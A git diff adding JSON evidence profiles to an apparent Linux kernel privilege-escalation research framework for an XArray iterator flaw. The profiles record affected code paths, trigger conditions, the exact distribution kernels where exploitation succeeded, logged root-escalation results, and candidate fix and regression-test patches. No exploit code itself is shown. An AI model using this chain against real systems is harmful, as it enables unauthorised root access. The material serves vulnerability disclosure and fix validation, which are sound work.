earlier folio in the same XArray", + "missing_proof": "a reachable consumer whose wrong-offset I/O crosses a permission boundary or causes independent memory corruption" + }, + { + "id": "xarray-fscache-private2-refcount", + "status": "latent_sink_no_in_tree_producer", + "functions": [ + "__fscache_clear_page_bits", + "folio_end_private_2" + ], + "known_effect": "a backstep to a folio outside the completed cache-write range would clear PG_private_2 and drop a folio reference on the wrong object", + "source_chain_boundary": "the only reviewed v7.2 in-tree using_pgpriv2 caller is Ceph, and Ceph does not enable multi-index page-cache folios", + "missing_proof": "an in-tree multi-index producer on the same mapping plus runtime refcount corruption" + }, + { + "id": "xarray-shmem-swapoff-index", + "status": "privileged_control_path", + "functions": [ + "find_swap_entry", + "shmem_find_swap_entries" + ], + "known_effect": "iterator indices feed shmem swapoff processing", + "missing_proof": "unprivileged reachability and independent security impact" + } + ], + "non_vulnerability_observations": [ + { + "function": "shmem_partial_swap_usage", + "reason": "the iterator only changes a deliberately racy usage count" + }, + { + "function": "filemap_cachestat", + "reason": "the iterator reports advisory per-mapping cache counters; wrong counts do not establish memory-safety impact" + }, + { + "function": "shmem_swapin_range / force_shm_swapin_readahead", + "reason": "the reviewed paths can prefetch a different valid swap entry and perturb allocation-policy or readahead bookkeeping, but do not install a PTE" + }, + { + "function": "filemap_range_has_page / filemap_range_has_writeback / filemap_range_needs_writeback", + "reason": "the iterator controls conservative retry or blocking predicates only; a stale answer has no established memory-safety sink" + }, + { + "function": "page_cache_delete_batch", + "reason": "the helper requires mapping->i_pages to be writer-locked and the reviewed in-tree caller holds xa_lock_irq" + }, + { + "function": "xfs_reclaim_inodes_count", + "reason": "the iterator only supplies advisory shrinker accounting" + }, + { + "function": "khugepaged_scan_shmem / khugepaged_scan_file / hpage_collapse_scan_file / collapse_scan_file", + "reason": "these paths perform collapse eligibility and NUMA accounting; the mutation path revalidates under mapping locks" + }, + { + "function": "xan_find_marked / amdgpu_userq_fence_alloc / cachefiles_ondemand_send_req", + "reason": "the reviewed containers store single-index allocations and are serialized by subsystem locks, so the multi-index split prerequisite is absent" + } + ], + "naming_policy": "Only runtime-confirmed security chains receive vulnerability names; static candidates retain descriptive IDs." +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/geometry-v7.2.json b/dirty-crow-xarray-lpe/framework/profiles/geometry-v7.2.json new file mode 100644 index 0000000..01f5da2 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/geometry-v7.2.json @@ -0,0 +1,60 @@ +{ + "schema_version": 1, + "title": "Dirty Crow Linux v7.2 architecture and base-page geometry matrix", + "source_facts": [ + "filemap_unsigned_pte_delta", + "shmem_multi_index_store", + "vulnerable_xas_find_branch" + ], + "capabilities": [ + "madv_collapse", + "proof_contract_v1" + ], + "targets": [ + { + "id": "v7.2-x86_64-4k", + "architecture": "x86_64", + "page_size": 4096, + "endianness": "little", + "action": "backstep-proof", + "backend_expected": true, + "kernel": "../build/geometry/kernel-x86_64-4k", + "initramfs": "../build/geometry/initramfs-x86_64-4k.cpio.gz", + "log": "../build/geometry/console-x86_64-4k.log" + }, + { + "id": "v7.2-arm64-4k", + "architecture": "aarch64", + "page_size": 4096, + "endianness": "little", + "action": "backstep-proof", + "backend_expected": false, + "kernel": "../build/geometry/kernel-arm64-4k", + "initramfs": "../build/geometry/initramfs-arm64-4k.cpio.gz", + "log": "../build/geometry/console-arm64-4k.log" + }, + { + "id": "v7.2-arm64-64k", + "architecture": "aarch64", + "page_size": 65536, + "endianness": "little", + "action": "backstep-proof", + "backend_expected": false, + "kernel": "../build/geometry/kernel-arm64-64k", + "initramfs": "../build/geometry/initramfs-arm64-64k.cpio.gz", + "log": "../build/geometry/console-arm64-64k.log" + }, + { + "id": "v7.2-riscv64-4k", + "architecture": "riscv64", + "page_size": 4096, + "endianness": "little", + "action": "backstep-proof", + "backend_expected": false, + "kernel": "../build/geometry/kernel-riscv64-4k", + "initramfs": "../build/geometry/initramfs-riscv64-4k.cpio.gz", + "log": "../build/geometry/console-riscv64-4k.log" + } + ], + "boundary": "Boot validation covers architecture, page size, endianness, and backend selection only. Unsupported backend rows are not negative exploitability findings." +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/lineages.json b/dirty-crow-xarray-lpe/framework/profiles/lineages.json new file mode 100644 index 0000000..2d96c42 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/lineages.json @@ -0,0 +1,88 @@ +{ + "schema_version": 1, + "family": "Dirty Crow", + "chains": [ + { + "name": "Backstep", + "status": "confirmed_exact_targets", + "root_cause": "xas_find stale non-leaf xa_offset can regress xa_index", + "source_lineage": "The xas_find iterator primitive is present at sampled upstream refs from v4.20 through v7.2; the complete shmem/filemap source chain begins at v5.17.", + "sink": "filemap_map_pages unsigned address and PTE delta", + "architecture": "x86_64", + "page_size": 4096, + "recovery": "poweroff_only_after_primitive" + } + ], + "tiers": [ + { + "tier": "A", + "kernel_range": "6.1+", + "producer": "file/shmem multi-index folio", + "trigger": "MADV_COLLAPSE", + "framework_backend": "backstep_x86_64_4k", + "claim": "Supported mechanism; exploitability remains exact-target evidence only." + }, + { + "tier": "B", + "kernel_range": "5.17-6.0", + "producer": "shmem multi-index folio", + "trigger": "Pre-MADV_COLLAPSE shmem THP policy; controlled v5.17 run uses user-namespace tmpfs huge=always plus hole punch", + "framework_backend": "backstep_legacy_trigger", + "claim": "Complete static source chain. A controlled v5.17 run reaches full LPE with a 20 ms instrumented race window; unmodified-kernel reliability is not established." + }, + { + "tier": "C", + "kernel_range": "4.20-5.16", + "producer": "No shmem multi-index page-cache producer: compound pages occupy repeated order-0 XArray slots", + "trigger": "Deterministic XArray iterator-state test only", + "framework_backend": null, + "claim": "The iterator defect is reproducible, but the reviewed shmem/filemap LPE chain is incomplete and no LPE is claimed." + } + ], + "source_audit": { + "refs": [ + "v4.20", + "v5.4", + "v5.10", + "v5.15", + "v5.16", + "v5.17", + "v6.0", + "v6.1", + "v7.2" + ], + "command": "python -m dirtycrow lineage --repo /path/to/linux --ref v7.2 --output build/historical-chain-intervals.json", + "boundary": "Exact source-history transition intervals only; runtime evidence controls vulnerability claims." + }, + "early_kernel_evidence": { + "profile": "profiles/early-kernel-v4.20.json", + "regression_patch": "patches/0003-xarray-v4.20-test-split-resume-after-multi-index-replacement.patch", + "fix_patch": "patches/0004-xarray-v4.20-resync-non-leaf-offset-before-advancing.patch", + "result": "v4.20 fails before the fix with xa_index 12 -> 8 instead of 16, then passes all 21134890 XArray checks after the fix.", + "boundary": "Primitive proof only; pre-5.17 shmem lacks the multi-index page-cache producer." + }, + "controlled_v5_17_evidence": { + "profile": "profiles/linux-v5.17-instrumented-consumer-verification.json", + "instrumentation_patch": "patches/0005-linux-v5.17-widen-filemap-xarray-window.patch", + "trigger_patch": "patches/0006-linux-v5.17-userns-tmpfs-trigger.patch", + "fix_patch": "patches/0007-xarray-v5.17-resync-non-leaf-offset-before-advancing.patch", + "result": "The vulnerable iterator moves xa_index from 0x140 to 0x40, followed by a page-table primitive, verified physical-memory write, and uid-65534-to-root modprobe execution. With the candidate fix, the same widened window produces no regression and no primitive in ten rounds.", + "boundary": "Controlled-instrumentation execution only; the 20 ms kernel delay does not establish natural race reliability." + }, + "exact_positive_kernel_families": [ + "Ubuntu 7.0.0-30", + "Fedora 7.1.10-200.fc44", + "Arch 7.1.11.arch1-1", + "Alpine linux-lts 6.18.48-r0", + "Debian 6.12.105+deb13-amd64", + "Debian backports 6.18.15", + "Chimera 7.2.2" + ], + "unsupported_claims": [ + "all kernels since 4.20 are exploitable", + "non-x86_64 exploitation", + "safe process exit after page-table corruption", + "bare-metal reliability", + "default-policy ordinary-user reachability before MADV_COLLAPSE" + ] +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/linux-v4.20-dax-transition-model.json b/dirty-crow-xarray-lpe/framework/profiles/linux-v4.20-dax-transition-model.json new file mode 100644 index 0000000..854a587 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/linux-v4.20-dax-transition-model.json @@ -0,0 +1,159 @@ +{ + "build": { + "executables": [ + { + "compiler": "gcc", + "sha256": "fd3ae7fc2de5d43dba7af11cee9377ce91de51cbb50e65fe745fad56702c3a60", + "variant": "vulnerable" + }, + { + "compiler": "gcc", + "sha256": "d1806f9e26226c303867de8acf1347bfd3a578af1745e48b43edf356f3855e37", + "variant": "fixed" + } + ], + "flags": [ + "-std=gnu2x", + "-D_POSIX_C_SOURCE=200809L", + "-D_LGPL_SOURCE", + "-O3", + "-DNDEBUG", + "-Wall" + ], + "logs": [ + { + "compiler": "gcc", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "step": "compile radix-tree", + "warning_count": 0 + }, + { + "compiler": "gcc", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "step": "compile linux", + "warning_count": 0 + }, + { + "compiler": "gcc", + "stderr_sha256": "b78c1eff64d37ebb0829a1d5abb104f294227685873bd2d46ee5cd0458caa5a9", + "step": "compile test", + "warning_count": 2 + }, + { + "compiler": "gcc", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "step": "compile find_bit", + "warning_count": 0 + }, + { + "compiler": "gcc", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "step": "compile bitmap", + "warning_count": 0 + }, + { + "compiler": "gcc", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "step": "compile fake-urcu", + "warning_count": 0 + }, + { + "compiler": "gcc", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "step": "compile benchmark", + "warning_count": 0 + }, + { + "compiler": "gcc", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "step": "compile vulnerable XArray", + "warning_count": 0 + }, + { + "compiler": "gcc", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "step": "link vulnerable benchmark", + "warning_count": 0 + }, + { + "compiler": "gcc", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "step": "compile fixed XArray", + "warning_count": 0 + }, + { + "compiler": "gcc", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "step": "link fixed benchmark", + "warning_count": 0 + } + ] + }, + "candidate_id": "v420-dax-transition", + "canonical_payload_sha256": "caa2dbab9c0a82a411646d861577c8695e59c41dcdc420a51f9524df184fc1b9", + "compilers": [ + { + "executable": "gcc", + "family": "gcc", + "version": "gcc (GCC) 13.3.0" + } + ], + "conclusion": { + "candidate_fix_prevents_regression": true, + "iterator_regression_reproduced": true, + "modeled_transition": "A retained xas_find cursor inside one PMD-order multi-index value resumes after that value is replaced by one PTE-order value, matching the shape of grab_mapping_entry() downgrade." + }, + "evidence_boundary": "The harness executes exact upstream v4.20 lib/xarray.c before and after the candidate repair in the kernel userspace test runtime. It models the DAX PMD-to-PTE XArray mutation but does not execute a filesystem, prove that a production DAX consumer retains an unlocked iterator across that mutation, or establish security impact.", + "passed": true, + "records": [ + { + "cases": 130816, + "compiler": "gcc", + "correctly_skipped_cases": 30688, + "first_regression": { + "cursor": 65, + "observed_index": 64, + "pte_index": 64 + }, + "model": "v4.20_dax_pmd_to_pte", + "passed": true, + "pmd_order": 9, + "regressed_cases": 100128, + "schema_version": 1, + "variant": "vulnerable", + "xa_chunk_shift": 6 + }, + { + "cases": 130816, + "compiler": "gcc", + "correctly_skipped_cases": 130816, + "first_regression": null, + "model": "v4.20_dax_pmd_to_pte", + "passed": true, + "pmd_order": 9, + "regressed_cases": 0, + "schema_version": 1, + "variant": "fixed", + "xa_chunk_shift": 6 + } + ], + "schema_version": 1, + "source": { + "baseline_commit": "8fe28cb58bcb235034b64cbbb7550a8a43fd88be", + "baseline_ref": "v4.20", + "fixed_xarray_sha256": "c5cc439b0a300e574d42cd5913fd207c2bfe4cac3093f2e9bfacc2f909123042", + "harness_path": "dirtycrow/v420_dax_transition.c", + "harness_sha256": "f457f3453eb056dccca7ec6d6ca4e524c46e756791d653b4be3823fda2b84ac5", + "repository": "upstream Linux v4.20 commit 8fe28cb58bcb235034b64cbbb7550a8a43fd88be", + "vulnerable_xarray_sha256": "f2a0950702c8ace032dda74897bfd85397f9f5ce8f3d28eac1bdf2e0ff5e6493" + }, + "title": "Linux v4.20 DAX-shaped XArray transition model", + "snapshot_id": "dirty-crow-linux-v4.20-dax-model-2026-09-05", + "as_of": "2026-09-05", + "artifact_availability": { + "harness": "included", + "vulnerable_source": "retrievable_by_commit_and_hash", + "fixed_source": "derivable_from_included_candidate_patch", + "executable_binaries": "hash_recorded_not_in_export" + } +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/linux-v4.20-live-regression-verification.json b/dirty-crow-xarray-lpe/framework/profiles/linux-v4.20-live-regression-verification.json new file mode 100644 index 0000000..0a52c89 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/linux-v4.20-live-regression-verification.json @@ -0,0 +1,113 @@ +{ + "schema_version": 1, + "snapshot_id": "dirty-crow-linux-v4.20-live-regression-2026-09-05", + "as_of": "2026-09-05", + "question": "Does the XArray iterator defect execute in an actual Linux v4.20 kernel with multi-index XArray support enabled?", + "result": "fail_before_pass_after", + "target": { + "release": "v4.20", + "commit": "8fe28cb58bcb235034b64cbbb7550a8a43fd88be", + "architecture": "x86_64", + "runtime_release": "4.20.0+", + "emulator": "QEMU 10.0.11, TCG", + "cpus": 2, + "memory_mib": 768 + }, + "configuration": { + "path": "baseline/v4.20/linux-v4.20-live-test.config", + "sha256": "f5865c5a60431a23931dd675bdcfb6993e0cb96fe165ab2af7a4f181c5ac8bb4", + "required_flags": { + "CONFIG_X86_64": true, + "CONFIG_MODULES": true, + "CONFIG_XARRAY_MULTI": true, + "CONFIG_TRANSPARENT_HUGEPAGE": true, + "CONFIG_DEBUG_KERNEL": true + }, + "build_compatibility_flags": { + "CONFIG_STACK_VALIDATION": false, + "CONFIG_UNWINDER_ORC": false, + "CONFIG_SECURITY_SELINUX": false + } + }, + "test": { + "description": "The v4.20 in-kernel XArray suite retains an xas_find iterator positioned inside an order-7 entry, replaces that entry with order-0 entries while a separate index keeps the non-leaf node alive, then requires the resumed search to advance to index 128 rather than regress to index 64.", + "regression_patch": { + "path": "patches/0003-xarray-v4.20-test-split-resume-after-multi-index-replacement.patch", + "sha256": "ce9f4278040a5cacc822406746c92790f5107533cc3e7d9828c4a75d58662b6b" + }, + "candidate_fix_patch": { + "path": "patches/0004-xarray-v4.20-resync-non-leaf-offset-before-advancing.patch", + "sha256": "e5542e28e43dfe70d40f1e3455217937ed9aff35999ae1e2c9c1e5b2b6926ac8" + } + }, + "vulnerable": { + "kernel_build_number": 8, + "candidate_fix_applied": false, + "log": { + "path": "baseline/v4.20/linux-v4.20-live-vulnerable.log", + "sha256": "4bea60c29261e80a4fca6591932a6dd08ae1680dbabd20cd2268fd8e531cc49b" + }, + "observations": [ + "v4.20 split-resume: before=96 after=64 expected=128", + "BUG at check_multi_find_split:801", + "BUG at check_multi_find_split:802", + "XArray: 20183240 of 20183242 tests passed", + "insmod returned EINVAL (22)" + ] + }, + "fixed": { + "kernel_build_number": 9, + "candidate_fix_applied": true, + "log": { + "path": "baseline/v4.20/linux-v4.20-live-fixed.log", + "sha256": "99f7ef8321ec33c02ceafb0cb5feabe0908a47843ae6e9291632c486820bf77c" + }, + "observations": [ + "v4.20 split-resume: before=96 after=128 expected=128", + "No check_multi_find_split BUG", + "XArray: 20183242 of 20183242 tests passed", + "insmod returned 0" + ], + "build_output_availability": "hash_recorded_not_in_export", + "build_output_hashes": { + "lib/xarray.c": "2c80e1ebd2b74bd2449e79374b93b1490b7c267b42497d96fde8e423704d9027", + "lib/test_xarray.c": "68383a3a30fbd19fa4161c4d8b62d094217fc9eeb7b0553dcaca3c5e0f5b0185", + "arch/x86/boot/bzImage": "b5bc2829e64ce35e353c7394f8d75eb1549ad124e9e178b92fa8532effae5b73", + "lib/test_xarray.ko": "f5f222313fcdabd175c93ca9a83f00a254b6e40384e40358228bc955e3742e95", + "initramfs": "e199bd7d6bcf372015aeb7bba14ad97e7e8ec5cd2403c684c6ca3828ece5fbde" + } + }, + "interpretation": { + "established": "Linux v4.20 itself executes the stale non-leaf xas_find iterator defect when CONFIG_XARRAY_MULTI is enabled. The v4.20-context candidate fix makes the same kernel regression and the complete in-kernel XArray suite pass.", + "not_established": "This does not establish that an ordinary user can reach the transition through a production Linux v4.20 subsystem, nor does it establish a v4.20 privilege-escalation chain. The known shmem/filemap chain requires the later multi-index shmem page-cache representation introduced for Linux 5.17." + }, + "execution": { + "launcher": "qemu-system-x86_64", + "command": [ + "-machine", + "pc,accel=tcg", + "-cpu", + "max", + "-m", + "768", + "-smp", + "2", + "-kernel", + "arch/x86/boot/bzImage", + "-initrd", + "dirty-crow-v420-initramfs.cpio.gz", + "-append", + "console=ttyS0 earlyprintk=serial rdinit=/init panic=-1 oops=panic", + "-nographic", + "-no-reboot" + ], + "compiler": "gcc (Debian 14.2.0-19) 14.2.0" + }, + "artifact_availability": { + "serial_logs": "included", + "kernel_config": "included", + "regression_and_fix_patches": "included", + "vulnerable_kernel_and_initramfs": "not_in_export", + "fixed_kernel_module_and_initramfs": "hash_recorded_not_in_export" + } +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/linux-v5.17-instrumented-consumer-verification.json b/dirty-crow-xarray-lpe/framework/profiles/linux-v5.17-instrumented-consumer-verification.json new file mode 100644 index 0000000..219b0b5 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/linux-v5.17-instrumented-consumer-verification.json @@ -0,0 +1,181 @@ +{ + "schema_version": 1, + "snapshot_id": "dirty-crow-linux-v5.17-instrumented-consumer-2026-09-05-r2", + "as_of": "2026-09-05", + "title": "Linux 5.17 instrumented shmem/filemap consumer verification", + "question": "What is the earliest demonstrated release boundary for the shmem/filemap exploitation chain, distinct from the Linux 4.20 XArray defect lineage?", + "answer": { + "linux_4_20": "The iterator defect executes in Linux 4.20, but the known shmem/filemap LPE chain does not: shmem uses repeated order-0 page-cache slots through Linux 5.16.", + "first_code_complete_shmem_filemap_release": "5.17", + "result": "On upstream Linux 5.17, an ordinary uid-65534 process with no effective capabilities used a user-namespace tmpfs huge=always mount to create the order-9 shmem entry. With only the filemap race window widened, the retained XArray cursor moved backward, filemap installed attacker-shaped page-table entries, arbitrary physical read/write was verified, and a modprobe helper executed as root.", + "candidate_fix_control": "The same instrumented setup with the candidate xas_find offset resynchronization emitted the window marker but no backward-index marker and no page-table primitive in ten rounds.", + "qualification": "This establishes code-path completeness and controlled reachability on 5.17. The 20 ms in-kernel delay is artificial; exploit reliability on an unmodified 5.17 kernel is not established." + }, + "kernel": { + "release": "v5.17", + "commit": "f8e739787152143aacffc181562a29c049c2d658", + "source_url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tag/?h=v5.17", + "source_files": [ + { + "path": "lib/xarray.c", + "git_object_id": "6f47f6375808a7f54694bfaab8c0f8d2f68ff18e", + "sha256": "571249e77a557312204c54dfb8b214dc92b8158f4c70ce93b16211a7935107fb" + }, + { + "path": "mm/filemap.c", + "git_object_id": "ad8c39d90bf946dfca3447cae87d23684214ca1b", + "sha256": "c4f10d115d4ecb23d1d30a9765d3bdd934b26fd2658fc2f5ae12a8779386a13c" + }, + { + "path": "mm/shmem.c", + "git_object_id": "a09b29ec2b45c906fef4e8fcfc0d88a93ea99718", + "sha256": "3ac133d4e35ec645efec10f7d9cf6be392d41f456c4bbc094c2d96df770dcc6d" + } + ] + }, + "environment": { + "host": "Windows 10 x64", + "guest_build_environment": "WSL Debian", + "runtime": "QEMU 8.2.2 TCG x86_64, 2 GiB RAM, 4 vCPUs", + "kernel_command_line": "console=ttyS0 quiet loglevel=5 panic=-1 oops=panic", + "relevant_config": [ + "CONFIG_USER_NS=y", + "CONFIG_TMPFS=y", + "CONFIG_TRANSPARENT_HUGEPAGE=y", + "CONFIG_TRANSPARENT_HUGEPAGE_ALWAYS=y", + "CONFIG_XARRAY_MULTI=y", + "CONFIG_PROC_FS=y" + ], + "exploit_compile": "gcc -static -O2 -pthread -Wall -Wextra -Werror -DRACE_MUTATION_MODE=4", + "rounds": 10 + }, + "controlled_window": { + "location": "mm/filemap.c:next_uptodate_page(), after xas_find returns a large folio and before xas_reload/folio_trylock", + "intervention": "mdelay(20) on the first 32 large-folio observations", + "oracle": "A wrapper around both xas_next_entry call sites logs any xa_index decrease.", + "why_controlled": "The delay changes scheduling only. It does not alter the XArray state transition, page-cache representation, unsigned filemap address delta, page-table payload, physical-memory scan, or root proof.", + "instrumentation_artifact": "patches/0005-linux-v5.17-widen-filemap-xarray-window.patch" + }, + "producer": { + "backing": "tmpfs mounted with huge=always in a child user and mount namespace", + "initial_identity": "uid=65534, gid=65534, no_new_privs=1, effective capabilities=0", + "namespace_requirement": "CONFIG_USER_NS=y and unprivileged user-namespace creation permitted", + "observed_entry": "order=9 shmem folio; xas_find cursor inside the multi-index entry had xa_index=0x140, xa_offset=0, node shift=6", + "mutation": "FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE on the first 4 KiB page", + "trigger_artifact": "patches/0006-linux-v5.17-userns-tmpfs-trigger.patch" + }, + "vulnerable_run": { + "log": "baseline/v5.17/linux-v5.17-widened-vulnerable.log", + "image": "baseline/v5.17/linux-v5.17-widened-vulnerable-bzImage", + "observations": [ + "DIRTY_CROW_WINDOW_WIDENED index=0x140 order=9 offset=0 shift=6", + "DIRTY_CROW_XAS_REGRESSION before=0x140 after=0x40 max=0x14f offset=0 shift=0", + "PAGE_TABLE_PRIMITIVE round=0 ... mapped_pmds=192", + "ARBITRARY_PHYSICAL_RW ... write_ok=1 marker_matches=1", + "MODPROBE_ROOT_MARKER uid=0 gid=0 mode=0400 child_status=0", + "KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=65534 root_execution=modprobe_helper", + "DIRTY_CROW_V517_EXPLOIT_RC=0" + ], + "result": "controlled_full_chain_observed" + }, + "fixed_control": { + "log": "baseline/v5.17/linux-v5.17-widened-fixed.log", + "image": "baseline/v5.17/linux-v5.17-widened-fixed-bzImage", + "fix": "patches/0007-xarray-v5.17-resync-non-leaf-offset-before-advancing.patch", + "observations": [ + "DIRTY_CROW_WINDOW_WIDENED index=0x150 order=9 offset=0 shift=6", + "no DIRTY_CROW_XAS_REGRESSION marker", + "PRIMITIVE_NOT_OBSERVED rounds=10", + "DIRTY_CROW_V517_EXPLOIT_RC=4" + ], + "result": "supporting_candidate_fix_control" + }, + "evidence_classes": { + "code_present": true, + "runtime_observation": true, + "controlled_full_chain_execution": true, + "unmodified_kernel_execution": false, + "independent_execution": false, + "candidate_fix_evidence": true + }, + "artifact_inventory": [ + { + "path": "baseline/v5.17/linux-v5.17-widened-vulnerable.log", + "sha256": "ae300a8b117d32d6e6e7c2faac9f615f30e5a1f4f479a5dd5d05e8b4f565b5e9", + "byte_count": 3952, + "availability": "included" + }, + { + "path": "baseline/v5.17/linux-v5.17-widened-fixed.log", + "sha256": "e79ad7e0bc1dfe16a0ef8e0d5aa16e1ae2fa1c9d7c35ed27cdc87016ae77960c", + "byte_count": 2744, + "availability": "included" + }, + { + "path": "baseline/v5.17/linux-v5.17-widened-vulnerable-bzImage", + "sha256": "9ac29f4da29aeee4940b0f82c101e6b3e7e7eb6f6c69e10813bad527084590de", + "byte_count": 10887888, + "availability": "included" + }, + { + "path": "baseline/v5.17/linux-v5.17-widened-fixed-bzImage", + "sha256": "927059626806eafe19eff0204e4701d347f6aff498890ac79d937503df1c50af", + "byte_count": 10887888, + "availability": "included" + }, + { + "path": "baseline/v5.17/filemap-xarray-v5.17-widened", + "sha256": "0986db2c1f2a6ba1b5532e1e77269ca78b09ecc788a6c5009c780eab92246b48", + "byte_count": 1044128, + "availability": "included" + }, + { + "path": "baseline/v5.17/filemap-xarray-v5.17.c", + "sha256": "e1e10f3a475154ef76f756b0f4a26c3427298b19552a42620f718d4474dd5785", + "byte_count": 66406, + "availability": "included" + }, + { + "path": "baseline/v5.17/linux-v5.17-live-test.config", + "sha256": "4fdd8aa8a706fc3de4c22e7f86a05e6d0def826071804f5258e721573f00fa8c", + "byte_count": 132580, + "availability": "included" + }, + { + "path": "baseline/v5.17/linux-v5.17-init", + "sha256": "95bb647b0f7202f659364f89535dbfd1f7a92548f82aa83e98f7e587e7e2772d", + "byte_count": 657, + "availability": "included" + }, + { + "path": "patches/0005-linux-v5.17-widen-filemap-xarray-window.patch", + "sha256": "449ba46f673f6eb6e52471e68bda606aca42dda1c49cef93e1e7a4f177c6f12e", + "byte_count": 3835, + "availability": "included" + }, + { + "path": "patches/0006-linux-v5.17-userns-tmpfs-trigger.patch", + "sha256": "7daf393f05707d2b35b9f2b76c1db097c1a5c36327e3291a31b51f468b82446d", + "byte_count": 6654, + "availability": "included" + }, + { + "path": "patches/0007-xarray-v5.17-resync-non-leaf-offset-before-advancing.patch", + "sha256": "0551aaae394ac41ab7c8281c0dc78f330623dd4b4ef40dbd6a870fd5224d750a", + "byte_count": 689, + "availability": "included" + } + ], + "claim_boundary": "The underlying iterator invariant violation dates to 4.20. The currently known shmem/filemap chain is source-incomplete through 5.16 and becomes source-complete in 5.17. This snapshot proves a complete 5.17 LPE path only under an explicitly instrumented 20 ms race window. It does not prove a production trigger on 4.20, natural race reliability on 5.17, default distribution exposure, or an upstream/shipped fix.", + "artifact_availability": { + "logs": "included", + "kernel_images": "included", + "kernel_config": "included", + "init_script": "included", + "exploit_binary": "included", + "adapted_exploit_source": "included", + "source_changes": "included_as_patches", + "pristine_kernel_source": "retrievable_by_tag_commit_object_and_hash" + }, + "canonical_payload_sha256": "3ba02cb333dcbf476176f75314b1db74918770cf05e142088bb0a6830dfd9900" +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/opensuse-leap-16.0-x86_64-4k.json b/dirty-crow-xarray-lpe/framework/profiles/opensuse-leap-16.0-x86_64-4k.json new file mode 100644 index 0000000..b2b5c2b --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/opensuse-leap-16.0-x86_64-4k.json @@ -0,0 +1,30 @@ +{ + "schema_version": 1, + "id": "opensuse-leap-16.0-x86_64-4k", + "classification": "unsupported", + "target": { + "distribution": "openSUSE", + "release": "Leap 16.0 default", + "kernel_release": "6.12.0-160000.37.1-default", + "architecture": "x86_64", + "page_size": 4096, + "endianness": "little" + }, + "provenance": { + "scope": "exact_vendor_tree", + "source_url": "https://download.opensuse.org/distribution/leap/16.0/repo/oss/x86_64/", + "source_ref": "6.12.0-160000.37.1-default" + }, + "compatibility": { + "source_facts": [], + "capabilities": [], + "action": "backstep-proof", + "backend": "auto", + "backend_expected": false + }, + "evidence": [], + "unsupported_reasons": [ + "Exact package-member kernel and signed package verification were not retained.", + "No clean-boot runtime proof exists for this row." + ] +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/report.json b/dirty-crow-xarray-lpe/framework/profiles/report.json new file mode 100644 index 0000000..fd1f7f9 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/report.json @@ -0,0 +1,87 @@ +{ + "schema_version": 1, + "id": "dirty-crow-backstep-2026-09-05", + "as_of": "2026-09-05", + "inputs": { + "findings": { + "path": "profiles/findings.json", + "sha256": "9828da7e9e35e42f0fa8369889478ea2976fc17da525b3ab9c31ad1d2062b24d" + }, + "targets": { + "path": "profiles/targets.json", + "sha256": "1910880c9064ff889026aad4bd6925898f1e0950d5ab03f704f1f0b4088950b4" + }, + "disclosure": { + "path": "profiles/disclosure.json", + "sha256": "cef44379b9fa53470f47bc1f1b2d28e003375ff321993054b70957a29ae6334d" + }, + "current_claims": { + "path": "profiles/claims.json", + "sha256": "c801a5f516f2b7e695f9a130934088b523854b7705e5130466c1f362e7a7e80f" + }, + "backend_registry": { + "path": "backends/registry.json", + "sha256": "37ac5bcd021270121bc79d25cf2442d5071ebab9e2b53a231ea31794f07b8fa2" + }, + "evidence_index": { + "path": "profiles/xarray-lpe-evidence-index-current.json", + "sha256": "3e459ad50dc03fb7a3fa40f0969325ce1be67a2d6e972de286a40047575a7394" + }, + "final_verification": { + "path": "profiles/xarray-lpe-final-verification-portable.json", + "sha256": "c508a3257315da6f36f58cde2ec31d505080d9fc7f6bc753a15f8199e18e501d" + }, + "standalone_evidence": { + "path": "baseline/standalone-poc-evidence.json", + "sha256": "8ab9c18210a60c78ec2d4df7e746819d919c78a4b0279b2355fb2731d2ac2842" + }, + "evidence_manifest": { + "path": "baseline/manifest.json", + "sha256": "cc639cbc006014f029a942c5e1c06c12c3d8df85291ded50a061a2f40a8d6564" + }, + "candidate_fix_patch": { + "path": "patches/0001-xarray-resync-non-leaf-offset-before-advancing.patch", + "sha256": "78debec0070577b3d4bd1129c614decd4f86a5de283f8df1b8ad45eae4e621c9" + }, + "regression_test_patch": { + "path": "patches/0002-xarray-test-iteration-after-splitting-a-multi-index-entry.patch", + "sha256": "91eb6421f787be06b7900d0d1f97563e1aff8e11712b613aa4b6e99958b7411d" + }, + "fix_validation": { + "path": "baseline/fix-validation/xarray-v7.2-ab.json", + "sha256": "e7a7d2d9fe9fbb73d16d0fe128f13740e784a0cc7eca37be3a63b89298beb9e4" + } + }, + "reproduction": { + "source": "baseline/filemap_xarray_lts_full_exploit.c", + "runner": "baseline/run-filemap-xarray-lpe.sh", + "candidate_fix": "patches/0001-xarray-resync-non-leaf-offset-before-advancing.patch", + "regression_test": 